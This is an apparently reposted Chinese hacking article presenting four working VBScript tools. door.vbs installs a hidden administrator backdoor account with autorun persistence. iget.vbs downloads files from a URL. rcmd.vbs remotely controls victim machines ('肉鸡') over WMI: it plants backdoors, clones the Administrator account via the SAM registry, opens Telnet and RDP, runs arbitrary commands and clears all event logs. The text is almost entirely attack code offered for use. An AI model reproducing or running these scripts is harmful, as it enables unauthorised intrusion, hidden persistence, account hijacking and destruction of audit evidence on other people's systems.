黑客必须要知道的几个vbs文件代码
程序员文章站
2022-03-06 23:49:52
1. door.vbs '*************** 'door.vbs by 黑嘿黑 '*************** di...
1. door.vbs
'***************
'door.vbs by 黑嘿黑
'***************
dim wsh,fa,fso
set fso=createobject("scripting.filesystemobject")
set fa= fso.getfile(wscript.scriptfullname)
fa.attributes =34
set wsh=createobject("wscript.shell")
wsh.run "net user iuse_server xyhack.91i.net /add",0,true
wsh.run "net localgroup administrators iuse_server /add" ,0,true
wsh.regwrite "hklm\software\microsoft\windows\currentversion\run\win32",""&fa&""
wsh.regwrite
"hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall\checkedvalue",0,"reg_dword"
wsh.regwrite "hkey_local_machine\software\microsoft\command processor\autorun",""&fa&""
wsh.regwrite "hkey_current_user\software\microsoft\command processor\autorun",""&fa&""
功能:添加不死帐号(随cmd启动而启动),在win下彻底隐藏。
使用:直接运行。
2. ntlm.vbs
'***************
'ntlm.vbs by 黑嘿黑
'***************
dim wsh
set wsh=createobject("wscript.shell")
wsh.regwrite "hklm\software\microsoft\telnetserver\1.0\ntlm",wscript.arguments(0),"reg_dword"
wsh.regwrite "hklm\software\microsoft\telnetserver\1.0\telnetport",wscript.arguments(1),"reg_dword"
功能:自定义telnet的ntml和端口。
使用:d:\>ntml.vbs 1 999
3. iget.vbs
'***************************
'iget.vbs mod by 黑嘿黑
'***************************
set xpost = createobject("microsoft.xmlhttp")
xpost.open "get",lcase(wscript.arguments(0)),0
xpost.send()
set sget = createobject("adodb.stream")
sget.mode = 3
sget.type = 1
sget.open()
sget.write(xpost.responsebody)
sget.savetofile lcase(wscript.arguments(1)),2
功能:命令行下下载http文件。
使用:d:\>iget.vbs http://xyhack.91i.net/vbs.rar vbs.rar
4. rcmd.vbs
'***************
'rcmd.vbs by 黑嘿黑
'***************
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objshell=wscript.createobject("wscript.shell")
objshell.run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
end if
if wscript.arguments.count<3 then
usage()
wscript.echo "not enough parameters."
wscript.quit
end if
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
usage()
outstreem.write "conneting "&ipaddress&"...."
set objlocator=createobject("wbemscripting.swbemlocator") '20
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
objswbemservices.security_.privileges.add 7,true
objswbemservices.security_.privileges.add 11,true
if errornumber<>0 then
wscript.echo "error!"
call main()
else
wscript.echo "ok!"
end if
call main()
'***********************************************************
function door()
outstreem.write "creating the blankdoor .."
set objinstproc=objswbemservices.get("win32_process")
cmddoor="cmd /c echo dim wsh,fa,fso,t>%windir%\system32\svrer.vbs" _
&"&& echo set fso=createobject(""scripting.filesystemobject"") >>%windir%\system32\svrer.vbs" _
&"&& echo set fa= fso.getfile(wscript.scriptfullname)>>%windir%\system32\svrer.vbs" _
&"&& echo fa.attributes =34>>%windir%\system32\svrer.vbs" _
&"&& echo set t=fso.createtextfile(""%windir%\system32\system.bat"",true)>>%windir%\system32\svrer.vbs" _
&"&& echo t.writeline(""net user iuse_server xyhack.91i.net /add"")>>%windir%\system32\svrer.vbs" _
&"&& echo t.writeline(""net localgroup administrators iuse_server /add"")>>%windir%\system32\svrer.vbs" _
&"&& echo t.writeline(""attrib +h %windir%\system32\system.bat"")>>%windir%\system32\svrer.vbs" _
&"&& echo t.close>>%windir%\system32\svrer.vbs"_
&"&& echo set wsh=createobject(""wscript.shell"")>>%windir%\system32\svrer.vbs" _
&"&& echo wsh.run ""net user iuse_server xyhack.91i.net /add"",0,true>>%windir%\system32\svrer.vbs" _
&"&& echo wsh.run ""net localgroup administrators iuse_server /add"" ,0,true>>%windir%\system32\svrer.vbs" _
&"&& echo wsh.regwrite
""hklm\software\microsoft\windows\currentversion\run\win32"",""%windir%\system32\svrer.vbs"">>%windir%\system32\svrer.vbs" _
&"&& echo wsh.regwrite
""hklm\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall\checkedvalue"",0,""reg_dword"">>%win
dir%\system32\svrer.vbs" _
&"&& echo wsh.regwrite ""hkey_local_machine\software\microsoft\command
processor\autorun"",""%windir%\system32\svrer.vbs"">>%windir%\system32\svrer.vbs" _
&"&& echo wsh.regwrite ""hkey_current_user\software\microsoft\command
processor\autorun"",""%windir%\system32\svrer.vbs"">>%windir%\system32\svrer.vbs" _
&"&& echo wsh.run ""cmd /c at 20:00,20:10,20:20,20:30 %windir%\system32\system.bat"",0,true
>>%windir%\system32\svrer.vbs"
objinstproc.create(cmddoor)
showerror(err.number)
wscript.sleep(1500)
outstreem.write "runing the blankdoor .."
objinstproc.create("cmd /c cscript %windir%\system32\svrer.vbs")
showerror(err.number)
call main()
end function
'***********************************************************
function ca()
wscript.echo "enter the causername:"
causername=wscript.stdin.readline()
wscript.echo "enter the capassword:"
capassword=wscript.stdin.readline()
outstreem.write "getting sid of "&causername&" ...."
set colinstsid=objswbemservices.execquery("select * from win32_useraccount where name="&chr(34)&causername&chr(34))
for each objinstsid in colinstsid
strsid=objinstsid.sid
sidflag=right(strsid,len(strsid)-instrrev(strsid,"-"))
strflag=cstr(hex(sidflag))
regname=string(8-len(strflag),"0")&strflag
next
if strsid="" then
wscript.echo "error."&vbcrlf&"username is not exist."
call main()
else
wscript.echo "ok!"
end if
outstreem.write "prepairing .."
set objinstproc=objswbemservices.get("win32_process")
showerroronly(err.number)
cmdline="cmd /c echo set oreg=getobject(""winmgmts:root\default:stdregprov"")>%temp%\ca.vbs" _
&"&& echo oreg.getbinaryvalue ^&h80000002,""sam\sam\domains\account\users\000001f4"",""f"",uvalue >>%temp%\ca.vbs" _
&"&& echo oreg.setbinaryvalue ^&h80000002,""sam\sam\domains\account\users\"?name&""",""f"",uvalue >>%temp%\ca.vbs" _
&"&& echo set sh=createobject(""wscript.shell"")>>%temp%\ca.vbs" _
&"&& echo sh.regwrite ""hklm\software\microsoft\windows script host\settings\caflag"",""1"" >>%temp%\ca.vbs"
objinstproc.create(cmdline)
showerroronly(err.number)
cmdline="cmd /c echo atime=time>%temp%\getsys.vbs" _
&"&& echo set sh=createobject(""wscript.shell"")>>%temp%\getsys.vbs" _
&"&& echo sh.run ""cmd /c at 23:59 cscript %temp%\ca.vbs"",0,true >>%temp%\getsys.vbs" _
&"&& echo sh.run ""cmd /c time 23:58:59.90"",0,true >>%temp%\getsys.vbs" _
&"&& echo wscript.sleep(1100)>>%temp%\getsys.vbs" _
&"&& echo sh.run ""cmd /c time ""^&atime,0,true >>%temp%\getsys.vbs"
objinstproc.create(cmdline)
showerror(err.number)
outstreem.write "processing ."
set colinstsvr=objswbemservices.execquery("select * from win32_service where name='schedule'")
showerroronly(err.number)
for each objinstsvr in colinstsvr
flag1=0
flag2=0
if objinstsvr.startmode="disabled" then
objinstsvr.changestartmode("manual")
flag1=1
end if
if objinstsvr.started=flase then
errnumber=objinstsvr.startservice()
flag2=1
end if
showerroronly(err.number)
objinstproc.create("cmd /c cscript %temp%\getsys.vbs")
showerroronly(err.number)
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
for i=1 to 20
objinstreg.getstringvalue &h80000002,"software\microsoft\windows script host\settings","caflag",svalue
if svalue="1" then
exit for
else
wscript.sleep(500)
end if
next
objinstproc.create("net user "&causername&" "&capassword)
if flag1 then objinstsvr.changestartmode("disabled")
if flag2 then objinstsvr.stopservice()
next
if svalue<>"1" then
wscript.echo "error."&vbcrlf&"waiting time out."
else
showerror(err.number)
end if
outstreem.write "clean up .."
objinstproc.create("cmd /c del %temp%\ca.vbs")
showerroronly(err.number)
objinstproc.create("cmd /c del %temp%\getsys.vbs")
showerroronly(err.number)
if svalue="1" then objinstreg.deletevalue &h80000002,"software\microsoft\windows script host\settings","caflag"
showerror(err.number)
call main()
end function
function showerroronly(errornumber)
if errornumber then
wscript.echo "error 0x"&cstr(hex(err.number))&" ."
if err.description <> "" then
wscript.echo "error description: "&err.description&"."
end if
call main()
else
outstreem.write "."
end if
end function
'***********************************************************
function share()
wscript.echo string(18,"-")
wscript.echo "0.返回cmd> ="
wscript.echo "1.列出共享信息: ="
wscript.echo "2.创建共享 ="
wscript.echo "3.删除共享 ="
wscript.echo string(18,"-")
wscript.echo "please chose the parameter:"
parameters=wscript.stdin.readline()
select case parameters
case "quit" , "0"
main()
case "list" , "1"
listshare()
case "open" , "2" '40
openshare()
case "close" ,"3"
closeshare()
end select
end function
function listshare()
outstreem.write "listing the netshare from "&ipaddress&"...."
set colshares = objswbemservices.execquery("select * from win32_share")
showerror(err.number) '50
wscript.echo _
("caption"&chr(9)&chr(9)&"name: "&chr(9)&chr(9)&"path")
for each objshare in colshares
wscript.echo _
(objshare.caption&chr(9)&objshare.name &chr(9)&chr(9)&objshare.path)
next
wscript.echo vbcrlf&"all share have been listed successfully!"
call share()
end function
function openshare()
wscript.echo "enter the path:" '70
path=wscript.stdin.readline()
wscript.echo "enter the name:"
sname=wscript.stdin.readline()
const file_share = 0
const maximum_connections = 25
set objnewshare = objswbemservices.get("win32_share")
errreturn = objnewshare.create _
(path, sname, file_share, _
maximum_connections, "默认共享")
wscript.echo "then share have been ceated successfully!"
call share()
end function
function closeshare()
wscript.echo "plese enter the name:"
kname=wscript.stdin.readline()
outstreem.write "killing the "&kname&" ...."
set colshares = objswbemservices.execquery _
("select * from win32_share where name ="&"'"&kname&"' ")
for each objshare in colshares
objshare.delete
next
showerror(err.number)
call share()
end function
'***********************************************************
function listsvr()
outstreem.write "listing the service from "&ipaddress&"...."
set collistofservices = objswbemservices.execquery _
("select * from win32_service")
showerror(err.number)
wscript.echo _
("name"&chr(9)&chr(9)&"state"&chr(9)&chr(9)&"mode"&chr(9)&"path name ")
for each objservice in collistofservices
if len(objservice.name)<8 then
strname=objservice.name&chr(9)
else
strname=objservice.name
end if
wscript.echo _
(strname&chr(9)&objservice.state&chr(9)&chr(9)&objservice.startmode&chr(9)&objservice.pathname)
next
wscript.echo vbcrlf&"all services have been listed successfully!"
call main()
end function
'************************************************************
function reboot()
outstreem.write "now, restarting target...."
strwqlquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwqlquery)
for each objinstance in colinstances
objinstance.win32shutdown(6)
next
showerror(err.number)
call main()
end function
'*************************************************************
function inf()
outstreem.write "getting infomation from "&ipaddress&"...."
set obj1=objget("win32_computersystem")
showerror(err.number)
wscript.echo ""&vbcrlf
set obj2=objget("win32_operatingsystem")
set col3=objswbemservices.instancesof("win32_processor")
set obj4=objget("win32_logicalmemoryconfiguration")
set obj5=objget("win32_bios")
set obj6=objget("win32_displayconfiguration")
set col7=objswbemservices.instancesof("win32_diskdrive")
set col8=objswbemservices.instancesof("win32_logicaldisk")
set col9=objswbemservices.instancesof("win32_networkadapterconfiguration")
set col10=objswbemservices.instancesof("win32_quickfixengineering")
wnl "os info :"
wnl " computer name : "&obj1.name
wnl " user name : "&obj1.username
wnl " domain : "&obj1.domain
domainrole=""
select case obj1.domainrole
case 0
domainrole="workstation"
case 1
domainrole="member workstation"
case 2
domainrole="server"
case 3
domainrole="member server"
case 4
domainrole="backup domain controller"
case 5
domainrole="main domain controller"
end select
with obj2
wnl " domain role : "&domainrole
wnl " caption : "&.caption
wnl " organization : "&.organization
wnl " registered user : "&.registereduser
wnl " install date : "&timeformat(.installdate)
wnl " last bootup time : "&timeformat(.lastbootuptime)
wnl " windows directory : "&.windowsdirectory
wnl " system directory : "&.systemdirectory
wnl " boot device : "&.bootdevice
wnl " country code : "&.countrycode
wnl " csname : "&.csname
wnl " description : "&.description
wnl " manufacturer : "&.manufacturer
wnl " serial number : "&.serialnumber
wnl " version : "&.version
wnl " system type : "&obj1.systemtype
wnl " system startup delay : "&obj1.systemstartupdelay&"s"
wnl " system startup options : "&obj1.systemstartupoptions(0)
for i=1 to ubound(obj1.systemstartupoptions)
wnl space(28)&obj1.systemstartupoptions(i)
next
end with
wnl vbcrlf&"processor info :"
wnl " number of processors : "&obj1.numberofprocessors
for each obj3 in col3
with obj3
wnl " device id : "&.deviceid
wnl " name : "&.name
wnl " current clock speed : "&.currentclockspeed&"mhz"
wnl " description : "&.description
wnl " ext clock : "&.extclock&"mhz"
wnl " l2 cache size : "&.l2cachesize&"kb"
wnl " l2 cache speed : "&.l2cachespeed&"mhz"
wnl " processor id : "&.processorid
wnl " manufacturer : "&.manufacturer
wnl " socket designation : "&.socketdesignation
wnl " address width : "&.addresswidth&"bit"
wnl " data width : "&.datawidth&"bit"
end with
next
with obj4
wnl vbcrlf&"memory info :"
wnl " total physical memory : "&cint(.totalphysicalmemory/1024)&"mb"
wnl " free physical memory : "&cint(obj2.freephysicalmemory/1024)&"mb"
wnl " total pagefile space : "&cint(.totalpagefilespace/1024)&"mb"
wnl " total virtual memory : "&cint(.totalvirtualmemory/1024)&"mb"
wnl " available virtual memory : "&cint(.availablevirtualmemory/1024)&"mb"
end with
wnl vbcrlf&"bios info :"
wnl " description : "&obj5.description
wnl " current language : "&obj5.currentlanguage
wnl " version : "&obj5.version
wnl " manufacturer : "&obj5.manufacturer
with obj6
wnl vbcrlf&"display configuration :"
wnl " caption : "&.caption
wnl " device name : "&.devicename
wnl " driver version : "&.driverversion
wnl " display frequency : "&.displayfrequency&"hz"
wnl " bits per pel : "&.bitsperpel&"bit"
wnl " pels : "&.pelswidth&" x "&.pelsheight
end with
wnl vbcrlf&"disk info :"
for each obj7 in col7
with obj7
wnl " deviceid : "&.deviceid
wnl " caption : "&.caption
wnl " interface type : "&.interfacetype
wnl " scsi bus : "&.scsibus
wnl " scsi logical unit : "&.scsilogicalunit
wnl " scsi port : "&.scsiport
wnl " scsi targetid : "&.scsitargetid
wnl " sectors per track : "&.sectorspertrack&"kb"
wnl " partitions : "&.partitions
wnl " size : "&sizeformat(.size)
end with
next
str=" volume"+space(2)+"type"+space(8)+"format"+space(4)
str=str+"size"+space(6)+"free"+space(12)+"label"
wnl str
for each obj8 in col8
with obj8
drivetype=""
select case .drivetype
case 0
drivetype="unknow"
case 1
drivetype="norootdir"
case 2
drivetype="removable"
case 3
drivetype="fixed"
case 4
drivetype="network"
case 5
drivetype="cd-rom"
case 6
drivetype="ram"
end select
strpercent=""
if .size<>"" and .freespace<>"" then
strpercent=" ("&formatpercent(.freespace/.size,0)&")"
end if
str=" "&wsp(.caption,8)&wsp(drivetype,12)&wsp(.filesystem,10)&wsp(sizeformat(.size),10)
str=str&wsp(sizeformat(.freespace)&strpercent,16)&.volumename
wnl str
end with
next
wnl vbcrlf&"nic informaton :"
for each obj9 in col9
with obj9
if .ipenabled then
wnl " index : "&.index
wnl " description : "&.description
wnl " dhcp enabled : "&.dhcpenabled
wnl " dhcp server : "&.dhcpserver
wnl " dns host name : "&.dnshostname
wnl " dns server search order : "&wfl(.dnsserversearchorder)
wnl " wins primary server : "&.winsprimaryserver
wnl " ip address : "&wfl(.ipaddress)
wnl " mac address : "&.macaddress
wnl " default ip gateway : "&wfl(.defaultipgateway)
wnl " ip subnet : "&wfl(.ipsubnet)
wnl " ip filter security enabled : "&.ipfiltersecurityenabled
wnl " ipsec permit ip protocols : "&wfl(.ipsecpermitipprotocols)
wnl " ipsec permit tcp ports : "&wfl(.ipsecpermittcpports)
wnl " ipsec permit udp ports : "&wfl(.ipsecpermitudpports)
end if
end with
next
wnl vbcrlf&"hot fixes info :"
for each obj10 in col10
wnl " hot fix id : "&obj10.hotfixid
wnl " fix comments : "&obj10.fixcomments
wnl " install date : "&obj10.installdate
wnl " service pack in effect : "&obj10.servicepackineffect
next
wnl vbcrlf&"applications :"
set objswb1=objlocator.connectserver(ipaddress,"root/default",username,password)
set obj11=objswb1.get("stdregprov")
hklm=&h80000002
keypath="software\microsoft\windows\currentversion\uninstall\"
obj11.enumkey hklm,keypath,keyarray
redim str(ubound(keyarray)+1)
j=0
for i=0 to ubound(keyarray)
obj11.getstringvalue hklm,keypath+keyarray(i),"displayname",strvalue
if strvalue<>"" then
str(j)=strvalue
j=j+1
end if
next
if j>1 then
for i=0 to j-1
for k=0 to j-i-1
if strcomp(str(k),str(k+1),1)=1 then
strtemp=str(k+1)
str(k+1)=str(k)
str(k)=strtemp
end if
next
next
end if
for i=0 to j-1
wnl " "&str(i)
next
wscript.echo ""&vbcrlf
wscript.echo "the infomation from &ipaddress& had been listed successfully!"
call main()
end function
sub wnl(msg)
wscript.echo msg
if isobject(of) then
on error resume next
of.writeline msg
showerror()
on error goto 0
end if
end sub
function wfl(byref obj)
str=""
for i=0 to ubound(obj)
str=str&obj(i)&" "
next
wfl=str
end function
function wsp(msg,num)
if msg<>"" then
msg=left(msg,num-1)
wsp=msg&space(num-len(msg))
else
wsp=space(num)
end if
end function
function timeformat(msg)
timeformat=left(msg,4)&"/"&mid(msg,5,2)&"/"&mid(msg,7,2)&" "&mid(msg,9,2)&":"&mid(msg,11,2)&":"&mid(msg,13,2)
end function
function sizeformat(msg)
if msg<>"" then
size=msg/1048576
if size>1024 then
sizeformat=round(size/1024,2)&"gb"
else
sizeformat=round(size,1)&"mb"
end if
end if
end function
function objget(msg)
set col=objswbemservices.instancesof(msg)
for each objx in col
set obj=objx
next
set objget=obj
end function
'******************************************
function command()
wscript.echo "plese enter the command:"
call run()
end function
function run()
strcmdline=wscript.stdin.readline()
if strcmdline="exit" or strcmdline="quit" or strcmdline="0" then
call main()
end if
outstreem.write "running the command ...."
set objinstance=objswbemservices.get("win32_process")
set objmethod=objinstance.methods_("create")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.commandline=strcmdline
set objoutparam=objinstance.execmethod_("create",objinparam)
if objoutparam.returnvalue<>0 then
wscript.echo "error!"
call command()
else
wscript.echo "ok!"
end if
wscript.echo "the process id is "&objoutparam.processid
wscript.echo "runing command:"&strcmdline&". to "&ipaddress&" successfully!"&vbcrlf
call command()
end function
'*******************************************
function pslist()
outstreem.write "listing process...."
set colinstances=objswbemservices.execquery("select * from win32_process")
showerror(err.number)
wscript.echo vbcrlf&"name"&chr(9)&chr(9)&"pid"&chr(9)&"executablepath"
for each objinstance in colinstances
if len(objinstance.name)<8 then
strname=objinstance.name&chr(9)
else
strname=objinstance.name
end if
wscript.echo strname&chr(9)&objinstance.handle&chr(9)&objinstance.executablepath
next
wscript.echo vbcrlf&"all process have been listed successfully!"
call main()
end function
'*****************************************
function pskill()
wscript.echo "plese enter the process's id:"
strprocess=wscript.stdin.readline()
outstreem.write "killing id="&strprocess&" process...."
set objinstance=objswbemservices.get("win32_process.handle="&"'"&strprocess&"'")
if vartype(objinstance)<>vbobject then
wscript.echo vbcrlf&"specified process is not exist."
call main()
else
set objmethod=objinstance.methods_("terminate")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.reason=0
set objoutparam=objinstance.execmethod_("terminate",objinparam)
showerror(objoutparam.returnvalue)
wscript.echo "the process's id="&strprocess&" have been killed successfully!"
end if
call main()
end function
'********************************************************
function telnet()
outstreem.write "querying state of telnet server...."
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
showerror(err.number)
for each objinstance in colinstances
if objinstance.startmode="disabled" then
outstreem.write "telnet server has been disabled. now changeing start mode to manual...."
set objmethod=objinstance.methods_("changestartmode")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="manual"
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
showerror(objoutparam.returnvalue)
end if
outstreem.write "changeing state...."
if objinstance.started=true then
intstatus=objinstance.stopservice()
showerror(intstatus)
wscript.echo "target telnet server has been stop successfully."
else
showerror(intstatus)
wscript.echo "plese enter the ntlm:"
ntlm=wscript.stdin.readline()
wscript.echo "plese enter the port:"
port=wscript.stdin.readline()
if not isnumeric(ntlm) or ntlm<0 or ntlm>2 then
wscript.echo "the value of ntml is wrong."
call main()
end if
if not isnumeric(port) then
wscript.echo "the value of port is wrong."
main()
end if
set objswbemservices1=objlocator.connectserver(ipaddress,"root/default",username,password)
outstreem.write "setting ntlm="&ntlm&"...."
set objinstance1=objswbemservices1.get("stdregprov")
set objmethod=objinstance1.methods_("setdwordvalue")
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.hdefkey=&h80000002
objinparam.ssubkeyname="software\microsoft\telnetserver\1.0"
objinparam.svaluename="ntlm"
objinparam.uvalue=ntlm
set objoutparam=objinstance1.execmethod_("setdwordvalue",objinparam)
showerror(objoutparam.returnvalue)
outstreem.write "setting port="&port&"...."
objinparam.svaluename="telnetport"
objinparam.uvalue=port
set objoutparam=objinstance1.execmethod_("setdwordvalue",objinparam)
showerror(objoutparam.returnvalue)
intstatus=objinstance.startservice()
wscript.echo "target telnet server has been start successfully!"
wscript.echo "now, you can try: telnet "&ipaddress&" "&port&", to get a shell."
end if
next
call main()
end function
'********************************************************
function rs()
outstreem.write "checking the os type ...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
if instr(objinstoscaption.caption,"server")>0 then
wscript.echo "ok!"
else
wscript.echo "ok!"
wscript.echo "os type is "&objinstoscaption.caption
wscript.echo "you cann't open terminal services,canceling...."&chr(13) '60
call main()
end if
next
wscript.echo "plese enter the port:"
port=wscript.stdin.readline()
if not isnumeric(port) or port<1 or port>65000 then '50
wscript.echo "the number of port is error."
call main()
end if
outstreem.write "writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
hklm=&h80000002
with objinstreg
.createkey ,"software\microsoft\windows\currentversion\netcache"
.setdwordvalue hklm,"software\microsoft\windows\currentversion\netcache","enabled",0 '70
.createkey hklm,"software\policies\microsoft\windows\installer"
.setdwordvalue hklm,"software\policies\microsoft\windows\installer","enableadmintsremote",1
.setdwordvalue hklm,"system\currentcontrolset\control\terminal server","tsenabled",1
.setdwordvalue hklm,"system\currentcontrolset\services\termdd","start",2
.setdwordvalue hklm,"system\currentcontrolset\services\termservice","start",2
.setstringvalue hklm,".default\keyboard layout\toggle","hotkey","1"
.setdwordvalue hklm,"system\currentcontrolset\control\terminal server\winstations\rdp-tcp","portnumber",port
end with
showerror(err.number)
wscript.echo "now, you need to reboot target!"
wscript.echo "do you want to reboot target now ?[y/n]"
strcancel=wscript.stdin.readline()
if strcancel="n" then
wscript.echo "you need to reboot target then!!"
call main()
else
call reboot()
end if
wscript.echo "you can logon terminal services on "&port&" later,good luck!"
call main()
end function
'**************************************************************
function clog()
outstreem.write "clearing all logs...."
strwqlquery="select * from win32_nteventlogfile"
set colinstances=objswbemservices.execquery(strwqlquery,"wql",&h20)
for each objinstance in colinstances
if objinstance.cleareventlog()<>0 then
wscript.echo "error!" '100
call main()
end if
next
wscript.echo "ok!"
wscript.echo "all logs have been cleared successfully!"
call main()
end function
'***************************************************************
function showerror(errornumber)
if errornumber then
wscript.echo "error 0x"&cstr(hex(err.number))&" ."
if err.description <> "" then
wscript.echo "error description: "&err.description&"."
end if
call main()
else
wscript.echo "ok!"
end if
end function
'*****************************************************************
function usage()
wscript.echo string(79,"*")
wscript.echo "rcmd v1.05"
wscript.echo "remote execution script, by 黑嘿黑"
wscript.echo "welcome to visite www.xyhack.91i.net"
wscript.echo "qq:123230273 e-mail:cnhacker521@hotmail.com"
wscript.echo "usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetip username password "
wscript.echo "then chose the command>"
wscript.echo string(79,"*")
end function
'**********************************************************
function main()
wscript.echo ""
wscript.echo "now chose the command>"
wscript.echo "0.quit 退出脚本"
wscript.echo "1.telnet 远程开/关telnet"
wscript.echo "2.3389 远程开3389"
wscript.echo "3.clog 远程删除所有日志"
wscript.echo "4.getf 获取肉鸡系统信息"
wscript.echo "5.pslist 例出进程"
wscript.echo "6.pskill 删除进程"
wscript.echo "7.command 远程执行dos命令"
wscript.echo "8.reboot 远程重启肉鸡"
wscript.echo "9.slist 例出远程肉鸡上的服务信息"
wscript.echo "a.share 1.列出共享 2.创建共享 3.删除共享"
wscript.echo "b.ca 克隆帐号"
wscript.echo "c.door 种植后门"
wscript.echo string(79,"*")
wscript.echo "cmd>"
cmd=wscript.stdin.readline()
wscript.echo ""
select case cmd
case "telnet" , "1"
telnet()
case "3389" , "2"
rs()
case "clog" , "3"
clog()
case "getf" , "4"
inf()
case "psl" , "pslist" , "5"
pslist()
case "psk" , "pskill" , "6"
pskill()
case "cmd" , "command" , "7"
command()
case "reboot" , "8"
reboot()
case "slist" , "9"
list listsvr()
case "share" , "10" ,"a" ,"a"
share()
case "b" , "b" , "11"
ca()
case "c" , "c" , "12"
door()
case "quit" , "0"
wscript.quit
end select
end function
标签: